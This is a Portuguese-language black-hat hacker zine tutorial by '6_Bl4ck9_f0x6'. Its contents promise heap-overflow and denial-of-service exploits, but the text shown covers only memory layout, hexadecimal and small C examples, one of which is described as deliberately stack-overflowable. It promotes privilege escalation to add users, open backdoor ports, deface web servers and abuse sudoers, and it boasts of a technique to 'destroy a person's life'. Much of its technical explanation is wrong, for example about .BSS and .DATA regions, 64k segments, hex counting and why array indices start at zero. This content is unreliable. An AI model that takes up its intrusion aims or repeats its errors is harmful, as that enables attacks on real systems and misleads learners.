========================================== == <-- Corporacao Vibora --> == == A CENA HACKER UNDERGROUND BRASILEIRA == ========================================== METODO DE ENSINO: ANARQUIA PORQUE OS PUNK'S SAO MAIS ORGANIZADOS --> --> --> --> --> --> --> --> --> --> --> --> Explorando falha de heap overflow sem misterio # Aprendendo um pouco sobre o Unix/Linux... Criando exploits de D.O.S --> --> --> --> --> --> --> --> --> --> --> --> --> By 6_Bl4ck9_f0x6 <-> Elite Underground teem <-> Gringuuuuu? Exploiting heap overflow flaw without mistery because I will never be untrue Creating Denial of Service exploit... =7 Learning a little about Unix/linux Email: b-fox@metasploit-br.org MSN: ratao666@hotmail.com "O inteligente nao eh aquele que 'pensa' estar enganando... eh aquele que 'finge' estar sendo enganado"... --- Anonymous "Desliga esse computador! A energia ta cara!" --- Sandra (Minha mae) "Ei David, me diz uma coisa, se o caminho do shell no linux eh o /bin/bash entao no windows seria \bin\bash?" --- Alguem que eu pretendo nunca mais ver... Atencao: Se vc for 1 lamah q soh quer saber de trojans detectaveis e de usar o themida (kkk!) p/ proteger eles deixando o mesmo 60 MB (\O/!! =) e inda por cima nao gostar de nada tecnico, vaza daqi seu rato imundo. Se vc nao gostar d infos tecnicas enfie esse txt no seu rabo! E... Se vc for um hacker etico, que prega a "etica" dos anjos pq tem um empreguinho de 20 mil pilas por mes e nao precisa roubar, e nao gosta d Black Hat's, simplesmente deletem esse file e vivam com oq eh divulgado por ai, nao que o assunto deste txt nao seja divulgado, pois o assunto deste txt eh sim "amplamente divulgado" na internet, estou me referindo ao que eu e minha equipe estamos escrevendo... Oq?? Vc nao eh 1 Black Hat e nao eh nosso amigo? Ooo, que peninha, vai ficar sem aprender com a banda podre da laranja 'XD' Quero ver vc's rastejando por conhecimento seus White Hat's desgracados, como eu 1 dia pude admirar 1 White Hat. Hoje vi q o infeliz estah pra lah de ultrapassado... Enfim, vc's entenderam oq eu quis dizer: ##################################################### # 'WHITE HATS and LAMES: CAIAM FORA CORJA MALDITA! # ##################################################### ATENCAO2: SE VOCE JA SABE PROGRAMAR EM C (mesmo q em nivel intermediario), MANJA UM POUCO DO UNIX, SABE O QUE Eh FUZZING E NAO QUER LER TODA A LENGA-LENGA QUE ESCREVI AQUI SOh P/ PASSAR O TEMPO RSRSR... VA DIRETO PARA O CAPITULO: "Humm... Entao isso eh que eh o Heap Overflow - Leiam logo isso amigos!" SE VOCE AINDA NAO SABE O QUE Eh HEAP OVERFLOW E TA DOIDO PARA FAZER SEU, ---------> PRIMEIRO EXPLOIT! Ahhhhhhh!!!!!!!!! Este e outros textos podem ser adquiridos em: ********************************************** http://www.thebuggers.in ********************************************** Excelent Underground forum ********************************************** 'E' ****************** +-==================================================-+ wWw.darkers.com.br <--+To sem logar aqui para postar com "muita frequencia"| ****************** |ateh q um dos moderadores seja banido. Vou pegar es-| |se rato quando ele menos esperar. Esse moderador eh| |um lamah, "literalmente", que estah vestido com pele| |de hacker... + ^====================================================^ Se quiser dar uma olhada no www.metasploit-br.org eu nao tenho nada contra ^^ [+ ======X============X===============X===== +] INDICE [+ ======X============X===============X===== +] *.* <-- Nao era para ter um zero aqui (0x00)? Issu eh ou nao eh hexadecimal? 1.0 - Introducao 2.0 - O que de bom esse treco pode me trazer? 3.0 - Modelos de memoria classicos. 4.0 - Entendendo os enderecos de memoria 0.0 - Capitulo em dimensao paralela 0.1 - Entendendo a tal da alocacao dinamica e o static (Overview) 5.0 - Humm... Entao isso eh que eh o Heap Overflow - Leiam logo isso amigos! 6.0 - SetUID? No windows nao tem issu, pode me explicar? ¬¬ 6.1 - Tirando proveito XD 7.0 - A funcao memset (); - A base dos exploits de D.o.S 7.1 - Quais as utilizacoes de D.o.S? 8.0 - Xau... 1.0 - introducao tan dam! Suuurpreesaaa! Olha o tio fox aqui mocada bonita!! E o povo pede biS e e pede mais, e pedi biS e pede mais. O pre-requisito p/ um "bom entendimento" deste texto ja era de ser previsivel, ou seja, aprenda a programar em C amigo!! Os Hackers sao programadores! Nao exist hacker q nao saiba programar. Acompanhe as edicoes da C.O.D.E e aprenda a base! Os link's estao no final deste texto! Com esse texto pretendo lhes ensinar como funciona um dos bugs mais exploitados de todos os tempos, o bug de 'heap overflow', que eh comumente chamado d Buffer Overrun pelo pessoal d mais idade (Aquele povo que usa o codigo de controle 'i' em C, para visualizar valores inteiros ;), eu particularmente chamo esse bug d buffer overrun (Nao sou um tiozinho nao! Eu tenho 19 anos!), porque foi assim q eu aprendi, mas... Enfim, vamos logo ao q interessa aqui. Vc deve ta querendo saber o q d bom vc pode pode fazer com isso... Bem, vou listar algumas posiveis utilidades de se exploitar logo adiante, mas antes eu gostaria de dedicar esse paper ao meu amigo Sandro que me deu uma forca, ele disse que se eu desistir do hacking, ele me hackeia (Ui, que meda dela) rsrsrs... Esse povo de 'mais idade' soh fala besteira..XD Ateh barba branca o infeliz tem, ops... tenho que respei- tar, quem sabe ele nao me arruma um emprego eim? rsrsr... E... tambem vou dedi- car esse paper ao meu parceiro possesso q estah me ajudando a evoluir uma tec- nica q eu batizei de WarLiving, que literalmente destroi a vida d uma pessoa ;) Esqueca tudo q vc ja leu sobre Heap Overflow, pois tenho certeza q eles tenta- ram deixar o negocio o mais "complexo" possivel p/ vc nunca aprender, aposto!!! Isso eh coisa de White Hat mesquinho! Aqui vc vai realmente saber como eh facil fuder um prog com esse vulnera. =========================================================== =DEDICO ESTE PAPER ESPECIALMENTE A UM KIDDIE TOSCO CHAMADO= ===================== *********** ========================= +===========+ ^ | Vejam qual eh o nick que cabe ai (***********) Ah! Aqui instalei o Kurumin (Debian ;) para servir como base, ou seja, nada de winsux por aqui manoh. Agora voce deve estar dizendo algo do tipo: Ahhhh Eu uso o windows, nem vo continuar lendo... Calma amigo! Continue! Vou t dizer porque. De 100 servidores na internet, como servidor de web, ftp, e tals, no minimo uns 80 estao rodando sobre arquitetura Unix, ou seja, com o conhecimento q aqui se- ra descrito, vc vai aprender a hackiar oq vc nao usa (Se vc nao usar ;). O ma- terial aqui eh do bom mano, sempre confie em mim amigo! Atualmente tenho muitas pessoas confiando em mim e nunca vou decepciona-las, nunca... ps: Eu to fazendo charme, vou falar sobre o winsux tambem rsrsr... 2.0 - O que de bom esse treco pode me trazer? Elevacao de privilegios para: [1] - Adicionar usuarios no sistema [2] - Abrir portas no sistema para um posteriror acesso ;P [3] - Fazer deface em webservers (Eu adoro isso ;) [4] - Ativar sudo p/ usuarios menos privilegiados, q nao tenham ele por padrao cm o usuario kurumin tem rs... ninguem olha o arquivo de configuracao do sudo e ainda esquecem de desativa-lo (Padrao doidu do kurumin! ;). Sem contar no fato de que muitos admins nao querem saber de olhar o grupo dos usuarios!!! Ei! Essas foram dicas! O PATH do file de config eh: /etc/sudoers =7... [5] - Etc, etc... Olha, vou voltar a tocar nesse assunto manohs, tipo assim, nao sou sua mae ou sua namorada chata p/ lhe dizer qual sistema vc deve usar, mas tente fazer uma troca, so para ver como o linux eh... poooreeeeta. Siga a seguinte (Siga a seguinte????) analogia, voce esta comendo uma peira, eu estou comendo uma goiabinha (Humm...) e quero q vc troque sua peira pela minha goiaba, eu nao posso te obrigar a isso... mas se eu estivesse discascando a goiaba com 1 faca eu te forcaria a trocar, nao, nao, eu pegaria sua peira e ainda ficaria com minha goiaba eheh!!! Assim matando dois coelhos com um tiro soh... ou com uma facada soh =) Procure uma distribuicao linux ideal para voce, Debian? Use Debian!! Olha a faaaca rsrs... ;) O kurumin eh um sistema linux baseado do debian, use ele por algum tempo amigo, depois instale o Debian Puro (Minha distribuicao Linux preferida =]). Veja a minha arquitetura e essas paradinhas da vida. Ae estah as infos do meu processador e tals: sh-3.1$ cat /proc/cpuinfo processor : 0 vendor_id : AuthenticAMD cpu family : 15 model : 44 model name : AMD Sempron(tm) Processor 2600+ stepping : 2 cpu MHz : 1599.957 cache size : 128 KB fdiv_bug : no hlt_bug : no f00f_bug : no coma_bug : no fpu : yes fpu_exception : yes cpuid level : 1 wp : yes flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 syscall nx mmxext fxsr_opt lm 3dnowext 3dnow pni lahf_lm ts ttp tm stc bogomips : 3203.58 Mais algumas infos: root@Black_Machine:/home/Black_Fox# cat /etc/issue Kurumin Linux, Debian Etch \n \l http://www.guiadohardware.net Digite seu login e senha. startx : Inicia o modo grafico configurar-video : Redetecta a placa de video /etc/init.d/kdm restart : Reinicia o gerenciador de login mcedit : Editor de texto links : Navegador web halt : Desliga o micro root@Black_Machine:/home/Black_Fox# sh-3.1$ uname -a Linux Black_Machine 2.6.18.1-slh-up-2 #1 PREEMPT Wed Oct 25 18:46:42 CEST 2006 i686 GNU/Linux sh-3.1$ arch i686 sh-3.1$ Isso acima (arch) eh um pleonasmo ja q eu usei uname -a? Nao, foi soh p/ destacar manoh ;) 3.0 - Modelos de memoria classicos. Esse tal modelo usual de memoria vai depender do sistema, mas vou dar uma boa base ae, vou mostrar o modelo usual de memoria no "Linux/i186" (Onde serah q eu vi issu...) apenas para demonstracao, mas nao se preocupe manoh, apesar dos mo- delos usuais de memoria serem diferentes para cada sistema, a nocao eh a mesma! Heap eh um local, stack eh outro. A regiao onde ocorre o Heap Overflow armaze- na dados em enderecos "sequenciais" e tals ;) +-----------+ | .DATA | <-- Aqui ocorre o Stack overflow +-----------+ | .BSS | <-- Aqui ocorre o Heap Overflow +-----------+ | .TEXT | <-- Instrucoes em assembly (Codigo do programa em assembly) +-----------+ Como diz o chefia do "-Time inseguro-": Nao va pensando que a memoria eh 1 qua- dradinho bonitinho q vai enchendo naum! Nao eh mesmo rsrs... O "stack" overflow ocorre na registao .DATA, jah o Heap overflow ocorre na regisao '.BSS', o comum eh usarmos heap overflow p/ sobrescrever os enderecos de memoria na regiao .BSS "longe" de seus "limites", pois tem gente que nao gosta de manipular colisoes entre heap e stack ehehe... Ja a regiao '.TEXT' armazena o codigo do programa em assembly, codigos esses que sao as representacoes diretas das instrucoes de maquina, instrucoes essas q por sua vez sao frequentemente chamadas d "opcodes" quando estamos escrevendo shellcodes. Exemplo: OpCode Assembly 90 NOP O NOP eh convertido em 90 ( "Instrucao de maquina" ), e ja que o '90' eh um set instruction (Na linguagem de programacao "Assembly", da! Obvio! \O/) em formado OpCode, e esta' em hexadecimal, e equivale a 1 byte (rsrss...), normalmente os manohs que escrevem shellcodes usando o modelo "string" pq eh mais hacku rsrs, 1 byte a cada dois digitos, ou seja, 2 digitos em hex equivalem a '1 byte', nao esqueca... Ei ei ei!! Eu sei pq eles usam strings p/ escrever shellcodes amigo blackwinner lammer (idiota burro), pq fica mais facil enviar o shellcode com a funcao "send()" atraves do socket =7 Voce sabia que os exploits normalmente sao desenvolvidos p/ o proposito de exploracao remota? Ei!! Sabia q a funcao send() nao permite o envio d dados inteiros atraves do socket? HiHiHi... Olhem oq esse idiota falou: "...diferença é quem escreve mais:" Depois eh eu q to precisando d 1 abraco. Idiota, lammer, estupido, etc - Leiam! Voce lembra disso winner? Acha que eu sou trouxa? Enfim, deixa esse paga-pau p/ lah, vamos continuar. Sabiam q os set instructions como mov, nop e afins, equi- valem a 1 byte (olha o opcode 90 <-- 2 Digitos em hexa ;)? Ja q cada caractere dentro d uma string equivale a um byte, entao ai esta o encaixe perfeito manoh! .............:) Quando nosso shellcode eh composto por strings em hexa (Obvio), podemos separar a mesma de 2 em 2 tambem!! Cada letra na string equivale a dois digitos em hexadecimal, pq cm falei, 2 digitos hexadecimais equivalem a 1 byte, e uma letra equivale a 1 byte! \x41 <-- A \x42 <-- B \x43 <-- C -- cut -- main (){ printf ("%c, %c e %c\n", 0x41, 0x42, 0x43); } -- cut -- Resultado: A, B e C -- cut -- main (){ printf ("%x, %x e %x\n", 'A', 'B', 'C'); } -- cut -- Resultado: 41, 42 e 43 Lembrando q usando shellcode como string ("") os dados devem ser colocados na pilha d forma inversa. Ave Maria \O/! Hummm... Esse txt nao eh sobre shellcode! Mania que eu tenho de explicacao! Para separar cada caractere da string contida no nosso shellcode devemos declarar o caractere de escape '\x' (Especificador d constante hexadecimal em C) seguido da tal constante (valor) em hexa (OpCode), olha o nop: '\x90'. Eles fazem issu pq sabem q o processador trabalha com hexa- decimal/opcodes, ou seja, eles enchem um buffer que nao controla dados, d dados (Olha que original), vamos supor q eles enchem o buffer de A's (soh p/ variar), dpois q o buffer esta' cheio tudo q vinher dpois eh lucro, pois quando acontece o retorno, os dados sao retornados ao shellcode (Opcode's), assim executando oq vc programou com o shellcode (Os opcodes), e oq eh melhor! Com os "privilegios" do "dono" do programa manoh! C o dono do programa for "root", blz! Bem, o tema aqui nao eh escrita de shellcode e muito menos "stack" overflow...:P desculpem, eh q eu tenho mania de ensinar coisas e desmoralizar lamah's que querem ser os hackus ¬¬ Veja agora um tipico modelo de memoria de um programa em C. +-------------------+ | | <----+ | Stack (Pilha) | | | | | + | + | | | | | | V | | | | | < > | | | | | ^ | | | | | | + | + | | | | | Heap | | | | | +---------------------+ +-------------------+ +-----< Este eh um 'layout' | | Variaveis globais | | | d memoria classico. | +-------------------+ | +---------------------+ |Codigo do programa | <----+ +-------------------+ Como citei anteriormente, lhe dizer a disposicao fisica global (a.k.a: de todas as memorias do mundo eheh) de memoria, nao eh possivel, pois memoria 'varia' d acordo com as implementacoes do C, CPU e "ambiente". Mas esse eh o modelo ideal p/ vc ter em mente parceiro. Nao se preocupe com esse treco ai em cima, pois como tambem ja falei, voce soh precisa saber q stack eh um local, e heap eh outro, heap armazena dados em "enderecos de memoria sequenciais" (Va lendo o paper amigo, va lendo, voce vai entender!! ;). A regiao 'Codigo do Programa' armazena o codigo executavel do programa. Na regiao "variaveis globais" eh onde todas as variaveis globais sao armaze- nadas (Isso eh bem imprevisivel...\O/!). A area Stack eh a responsavel por salvar o endereco de retorno das subrotinas, passar parametros p/ funcoes, criar variaveis locais, etc. E... o sal!! A area q vamos explorar, o Heap. O heap eh responsavel por armazenar dados alocados dinamicamente, e ende- recos de variaveis esticas a.k.a: static'S ;) Voce vai entender, continue lendo parceiro ;P Como voce pode perceber atraves das setas neste diagrama acima, os pointers (Ponteiros) Heap e stack gravam dados em sentido a suas respectivas areas de alocacao de memoria disponiveis, e isso eh igual a... colisao! rss... Pois as mesmas vao gravando dados indo p/ o mesmo lado, ou seja, a stack grava dados a partir do maior endereco (0xffffffff) para o menor (0x00000000) e o 'heap' faz o oposto disto, do menor 0x00000000 para o maior 0xffffffff, eh por isso que o heap pode colidir com a stack, eeei! Issu eh assunto p/ + tarde eheh, por hora vamos nos aproveitar de simples system()'s e execl()'s rsss. 4.0 - Entendendo os enderecos de memoria Vou falar primeiramente da unidade d base 16, ou seja, o tal hexadecimal. Eh um nome realmente forte nao eh? rsrss... Nao se assunte, eh apenas um nome estrambolico, e depois que voce aprender voce pode sair dizendo para as meninas que entende de numeros "hexadecimais" enchendo a boca rsrsr... Seu lamah! eheheh... Enfim. Veja como eh bem tosco o esquema, tome como exemplo a base decimal. Aposto q des de quando vc era garotinho q o povo insiste em te dizer que se comeca a contar do 1 ateh o 10, ateh porque vc soh tem 10 dedos nas maos rsrs. Hoje vc vai saber a verdade amigo! Existe uma conspiracao lhe ensinando o errado des d quando voce era um pequenino bebe! Vesgo e mongoloid! Quem serah esse? ;) 0 1 2 3 4 5 6 7 8 9 <-- Esse eh o certU! Nao notou amigo? Veja que depois que o 9 eh o limite, depois os numeros vao comecar a ser repetidos. Nesse caso o '1' (10), veja que eu comecei do 0, pq eu vou repetir o 1 se eu quiser representar o 10. Se vc nao entendeu, desista da vida, voce eh um completo inutil!! :) Agora vamos a base 16, a base que eh utilizada pelos enderecos de memoria. Ah!!!! A memoria de qualquer computador eh dividida em "seguimentos", cada seguimento tem 64k de tamanho. Voltando ao hexadecimal... Veja essa tabelinha: +---+-----------------------------------------------------------+ | 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | A | B | C | D | E | F | +---+-----------------------------------------------------------+ | | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | | | | | | | | +_--------------------------------------+ V V V V V V | | | 10| 11| 12| 13| 14| 15| | +_---------------------_+ | +-- > A memoria comeca a ser escrita a partir do endereco 0 em cada seguimento, assim fazendo o '0' ser o 1 e o F ser o 16. Isso quando estamos nos referindo a memoria do sistema. Isso eh + que obvio, pois cada seguimento tem 64k de tamanho...XD \O/!! Agora quando vamos fazer calculos com valores hexadecimais e essas coisas nao podemos usar o 0 para representar o 1, tome como base a calculadora do windows, na calculadora nao eh contado o 0 quando estamos trabalhando com numeros hexadecimais. Faca 1 teste. Maque a checkbox ond esta escrito hex e digite 'F', depois marque a checkbox 'Dec' (Decimal) para ver o seu correspondendo em decimal. Verah o numero '15' e nao 16. Como eu ja falei cada segmento d memoria possui o tamanho de 64k bytes. Lembram que quando comecamos no hacking aprendemos logo sobre unidades de armazenamento de dados? Ou seja, 1024 bytes = 1 KB. Ei, p/ vc saber quantos bytes existem dentro de KB's, faca isso: 1024 bytes * 64K = 65536 bytes Ahamm! Digite FFFF em 'Hex' na calc, e mude p/ 'Dec'. Vera 65535, eureca! A calculadora nao conta com o 0, mas no nosso calculo acima existe o '0' porque 1024 bytes * 64k equivalem e 6553'6' bytes! Bingo! Faz sentido!!!! Entao eh verdade q a memoria comeca a ser escrita a partir do endereco 0! Sempre multiplique o numero de Kb's por 1024 (Hummm...) que representara' os bytes. Lembram que 8 bits equivale a 1 byte? Entao p/ sabermos quantos bits existem dentro de um determinado numero de bytes, basta vc multipli- car o numero de bytes por 8, que eh o numero de bits. Veja: 2 bytes * 8 bits = 16 bits Entao dentro d 2 bytes existem 16 bits. E por ai vai. Brevemente alguem vai escrever sobre isso para a C.O.D.E, p/ o nosso proposito saber isso nao eh essencial rsrs, reelaxaaa!! O endereco de memoria comeca a ser utilizado em um seguimento, a partir do endereco zero, ate o endereco F, pois o endereco d memoria trabalha com a base hexadecimal... XD Vejam um exemplo de programa que mostra o endereco de memoria de uma matriz d ca- racteres (string): -- I_love.c -- #include #include #include int main (int argc, char **argv){ char heaven[777]; if (argc != 2){ fprintf (stderr, "Use: %s \n", *(argv+0)); exit (-1);} memcpy (&heaven, *(argv+1), sizeof (heaven)); fprintf (stdout, "Welcome to the Heaven %s\n\n", *(argv+1)); puts ("This is your heaven\n"); int Te_amo=0; for (Te_amo;Te_amo<=strlen (heaven);Te_amo+=1){ printf ("%X -> %c\n", &heaven[Te_amo], heaven[Te_amo]);} return (0);} -- cut -- Repare q este software possui um bug de stack overflow, issu foi intencional! Para exploitar esse programa precisariamos entao utilizar um codigo d exploit d b0f, q sao aqueles exploits q enchem o buffer vulneravel (heaven[777];) p/ logo em seguida fazer o 'return_addr' retornar ao inicio do shellcode. Veja esse prog em acao maninho: Black_Fox@Black_Machine:~/Desktop$ gcc -o love I_Love.c Black_Fox@Black_Machine:~/Desktop$ ./love Use: ./love Black_Fox@Black_Machine:~/Desktop$ ./love David Welcome to the Heaven David This is your heaven BFA69E73 -> D BFA69E74 -> a BFA69E75 -> v BFA69E76 -> i BFA69E77 -> d BFA69E78 -> Black_Fox@Black_Machine:~/Desktop$ Vou compilar e executar este mesmo programa no windows, repare nos enderecos de memoria: C:\Documents and Settings\David>gcc c:\I_Love.c -o love C:\Documents and Settings\David>love.exe Use: love.exe C:\Documents and Settings\David>love.exe "<->6_Bl4ck9_f0x6<->" Welcome to the Heaven <->6_Bl4ck9_f0x6<-> This is your heaven 22FC60 -> < 22FC61 -> - 22FC62 -> > 22FC63 -> 6 22FC64 -> _ 22FC65 -> B 22FC66 -> l 22FC67 -> 4 22FC68 -> c 22FC69 -> k 22FC6A -> 9 22FC6B -> _ 22FC6C -> f 22FC6D -> 0 22FC6E -> x 22FC6F -> 6 22FC70 -> < 22FC71 -> - 22FC72 -> > 22FC73 -> C:\Documents and Settings\David> Lembra que eu disse que os dados sao gravados a patir do endereco de memoria '0', e vao ateh 'F'? Veja que a primeira letra da string <->6_Bl4ck9_f0x6<-> eh salva no endereco 22FC60, essa faixa se inicia com '0' e vai ateh o 'F' (22FC6F -> 6), depois o valor volta a ser '0' ( 22FC70 -> < ), pois em hexa o maior numero eh F! Repare que o numero a esquerda era 6 (22FC'6'F), quando uma linha d endereco chega a F, alem dest endereco voltar a ser 0, o numero q esta ao lado deste, eh incrementado... NESTE CASO maninho! Ou seja, 22FC'7'0. Existem implementacoes q salvam dados do maior endereco (FFFFFFFF) p/ o menor (00000000 <-- Nao chega ate aqi pq o sistema tambem usa memoria ehhe, se voce tentar o sistema vai quebrar seu programa... \O/!!) e vice-versa. A maneira d alocacao de dados p/ variaveis na memoria varia muito (Como eu nao paro 1 mi- nuto de REPETIR! ¬¬), os fatores q interferem nesse caso podem ser o compila- dor, blah, blah blah, blah blah, etc. A stack por exemplo, ele armazena dados do maior endereco ateh o menor, ou seja, o programa tend a chegar ao endereco 0, coisa q eh impossivel, pois o sistema usa memoria tambem (Onde sera' q eu eu escrevi issu?), e esse endereco eh reservado p/ ele, entao sistema quebra a execucao do programa (Hum.). Q doidera meu. Repare q completei os 8 digitos p/ fazer 4 bytes nesses meus exemplos, soh por frescuriti mesmo...:) Para nos referirmos a enderecos de memoria devemos especificar que se trata de valores hexadecimais, portanto dvemos especificar o '0x'. Esse eh utilizado p/ dter- minar constantes em hexa... Eu tambem ja mostrei issu! Ei, isso nos aprende- mos em apostilas de C, \O/! Veja: main (){ printf ("%d", 0xA); } Resultado: 10 Se eu nao usasse o nosso amigo '0x' este programa nao leria o 'A' como hexa. As matrizes (No exemplo acima [I_love.c], matrizes de caracteres -> strings) sao armazenadas em enderecos 'sequenciais'/continuos, como voce pode ver. Ei amigos! Jah q meu hardware e d 32 bits entao 1 faixa d memoria cheia equivale ao hexadecimal FFFFFFFF, vc lembra q eu disse que dois digitos hexadecimais equivalem a 1 byte (8 bits)? A faixa de enderecos acima possui '8' digitos em hexa, isso e igual a 4 bytes, 32 bits. Hummm... Ta fazendo sentido pra vc neh? Ja em hardware de 16 um inteiro vale 2 bytes hummm... entendeu o pq? Simples!! FFFF <- Isso eh o maior endereco em hardware de 16 bits, ou seja, ja q o int ocupa 1 intEIRO (Endereco todo), e um endereco todo em hardware de 16 bits eh 2 bytes (4 digitos hexadecimais - FFFF), entao um inteiro vai ter 2 bytes, 16 bits... Ufa! Eeee eu to doidaaaauuumm!!!!! Professor ruleZ!!! Cada tipo de variavel ocupa uma quantidade de dados na memoria. Um caractere (char) ocupa apenas 1 byte na memoria, uma variavel do tipo int, ocupa quatro bytes continuos (Hardware d 32 bits ;), 1 variavel do tipo long ocupa 4 bytes tambem em enderecos continuos (\O/ Obvio! eh uma variavel!!), e uma variavel do tipo double ocupa 8 bytes, e por ai vai. Um ponteiro "sempre" vai ter o tamanho de 4 bytes em hardwares de 32 bits, nao importa o seu tipo, sempre eh 4. Pessoal, nao esquecam que 1 determinado tipo de variavel pode ocupar tama- nhos diferentes de acordo com o sistema, em sistemas de 32 bits um 'int' (Por exemplo) vai ocupar 4 bytes na memoria (32 bits), em sistemas de 16 bits 1 int ocupa apenas 16 bits, ou seja, 2 bytes (Prontu, vou parar d repetir issu, mas espero q tenham entendido issu!). Vc pode ver a quantidade de bytes q uma variavel ocupa no seu sistema usando o operador sizeof(). Bem, se voce sabe C voce deve saber disso, aff! Mas para quem nao sabe... Veja: #include main (){ printf ("char : %d byte(s) [Frecura :]\n", sizeof (char)); printf ("int : %d bytes\n", sizeof (int)); printf ("float : %d bytes\n", sizeof (float)); printf ("double : %d bytes\n", sizeof (double)); printf ("int pointer : %d bytes\n", sizeof (int *)); printf ("double pointer : %d bytes\n", sizeof (double *)); } Resultado: sh-3.1$ gcc len.c sh-3.1$ ./a.out char : 1 byte(s) [Frecura :] int : 4 bytes float : 4 bytes double : 8 bytes int pointer : 4 bytes double pointer : 4 bytes Se voce nao sabe manipular o gcc por enquanto, de uma olha nos link's no final deste texto que voce vai encontrar um tutorial basico dele, para windows, mas eh a mesma coisa amigo! Ou quase, pois o windows nao presta ;) Para uma melhor compreensao, vou dar um exemplo de alocacao de memoria para armazenar determi- nados tipos de variaveis, usando enderecos ficticios. -- corte aqui -- main (){ int numero=5; char letra='C';} -- cut here -- 0x00000000 <---- 0x00000001 |_____ Memoria relativa a variavel numero. 0x00000002 | Esses 4 bytes q armazenam o numero 5. 0x00000003 <---- 0x00000004 0x00000005 0x00000006 0x00000007 0x00000008 0x00000009 0x0000000A 0x0000000B 0x0000000C 0x0000000D 0x0000000E 0x0000000F 0x00000010 <------------ Uma variavel do tipo char ocupa 1 byte na memoria 0x00000011 (0x00000010). Humm... Isso me lembra algo =) Sabe por que o indice d matrizes em 'C' eh 0 (zero) p/ referenciar o primeiro elemento da matrix? Facil! Simplesmente pq uma matriz eh salva a patir do endereco 0 (zero) na memoria. .... FFFF FFFF = 4 bytes 1234 5678 +------<>----------------------<>-------------<>--------+ 0x00000000 <---- |Esse eh o espaco reservado p/ uma variavel inteira em| 0x00000001 |_____ |hardware d 32 bits. Cada faixa dessa equivale a 1 byte.| 0x00000002 | |Repare que um int equivale a 4 bytes nesse exemplo pq o| 0x00000003 <---- |endereco d memoria maximo eh 0xFFFFFFFF ('8' algarismos| |em hexadecimal... 4 bytes). | +------<>----------------------<>-------------<>--------+ Como eu havia citado acima, a memoria costuma gravar os dados de matrizes a patir do endereco 0, por isso q o indice em C eh 0. Veja um exemplo com matrizes de caracteres (strings): -- Hundred.c -- #include int main (void){ char str1[]="My"; char str2[]="name"; char str3[]="is"; char str4[]="David"; int indice=0; for (indice;indice<=strlen (str1);indice+=1) printf ("%X -> %c\n", &str1[indice], str1[indice]); for (indice=0;indice<=strlen (str2);indice+=1) printf ("%X -> %c\n", &str2[indice], str2[indice]); for (indice=0;indice<=strlen (str3);indice+=1) printf ("%X -> %c\n", &str3[indice], str3[indice]); for (indice=0;indice<=strlen (str4);indice+=1) printf ("%X -> %c\n", &str4[indice], str4[indice]); return (0);} -- cut -- C:\>Hundred.exe 22FF60 -> M 22FF61 -> y 22FF62 -> <-- \0 Terminador de string 22FF50 -> n 22FF51 -> a 22FF52 -> m 22FF53 -> e 22FF54 -> <-- \0 22FF40 -> i 22FF41 -> s 22FF42 -> <-- \0 22FF30 -> D 22FF31 -> a 22FF32 -> v 22FF33 -> i 22FF34 -> d 22FF35 -> <-- 0 Repare que essas matrizes sao todas alocadas umas proximas das outras. Quando nao existe mais dados em uma determinada matriz entao a "matrix" ( Pegou vc ;) vizinha eh alocada na memoria, aff... Issu eh obvio!! Mas como voce pode perceber, a memoria procura o endereco seguinte q tenha 0 disponivel e aloca a segunda matrix e assim por diante. Vamos ver mais sobre enderecos. Agora no linux: -- cut this file here -- #include main (){ char letra='M'; int numero=5; double alundra=10.5; float *pointer; printf ("Endereco de letra : %p\n", &letra); printf ("Endereco de numero : %p\n", &numero); printf ("Endereco de alundra: %p\n", &alundra); printf ("Endereco de pointer: %p\n", &pointer); } -- cut here -- sh-3.1$ gcc Minority.c -o minory sh-3.1$ ./minory Endereco de letra : 0xbfbe2ddf Endereco de numero : 0xbfbe2dd8 Endereco de alundra: 0xbfbe2dd0 Endereco de pointer: 0xbfbe2dcc sh-3.1$ Veja que nao existe uma sequencia nos enderecos, isso se deve ao fato de uma memoria RAM - Ramdom Access Memory que em portugues significa Memoria de Acesso Aleatorio, como o proprio nome sugere, eh uma memo- ria de acesso aleatorio (Essa dueu ateh em mim \O/! rsrs..), ou seja, ela le e escreve em qualquer endereco de forma "aleatoria", obvio que o mesmo deve estar "disponivel" p/ alocacao, no caso de alocacao -.- (daa! Issu eh obvio meu Deus! \O/!), "mas"... Existem locais em que os dados sao gravados em memoria continua, cm no heap ehehe, va lendo amigo, va lendo, vc vai entender!! E como eu nao canco de falar, as matrizes tb sao armazenadas em enderecos continuos (a.k.a: Uma depois da outra - Uma no endereco seguinte da outra ehehe... =)... pontu!!!! Agora p/ finalizar esse assunto e podermos passar p/ o Sal, gostaria de dizer q esta memoria anteriormente estudada eh a memoria virtual e nao a fisica...\O/! Como vc pode ver o esquema de enderecamento dela eh bem simples, o que acontece eh: Cada processo/programa possui um endereco na memoria virtual, que como voce aprendeu vai de 0x00000000 a 0xFFFFFFFF, esse endereco eh mapeado p/ a memoria fisica no momento da execucao do processo. O limite maximo de memoria virtual para cada processo eh de dois GB (Giga bytes), mas cm eu ja citei anteriormente o sistema tambem usa memoria virtual, e isso significa q um programa nao usa a memoria virtual toda, pois o sistema operacional tb utiliza memoria (Diabo! Eu ainda morro d escrever '!' rsrss =). Como vc pode ver em qualquer debugger a stack tambem faz parte da memoria virtual porque ele tambem eh enderecavel usando o esquema acima (0x0 a 0xF). Nao eh soh porque o endereco virtual eh convertido em endereco fisico q vc devera pensar que o tal do endereco virtual eh um representante direto e estatico para cada pedaco da memoria fisica! Na "verdade" a memoria virtual eh um tanto quanto fulera (P/ nao falar relativa como eu li hihihi), ou seja, uma variavel pode esta armazenada no endereco virtual 'x', outra variavel tambem pode estar armazenada neste mesmo endereco virtual, mas no momento da execucao do programa a memoria virtual mapeia os dados d cada uma p/ uma parte diferente na memoria fisica. Nao eh pq eles estao juntos q eles devem transar! Huahuaah!!! Resumindo: Um programa nao compartilha sua memoria virtual com outro, mas isso nao eh regra (a.k.a: Digamos q nao compartilhar seja a acao mais comum ;), pontu! 0.0 - Capitulo em dimensao paralela Ta aqui o zero!! 0.1 - Entendendo a tal da alocacao dinamica e o static (Overview) Bem, eu ja citei no comeco do texto que voce teria que saber 'C' p/ eu nao perder meu tempo explicando isso, mas como eu me preocupo com o seu aprendizado, pois sei que existem muitas pessoas gostam de ler textos p/ soh dpois estudar a fundo os temas descritos nele em apos- tilas "externas", vou explicar aqui um pouco sobre alocacao dinamica em C. 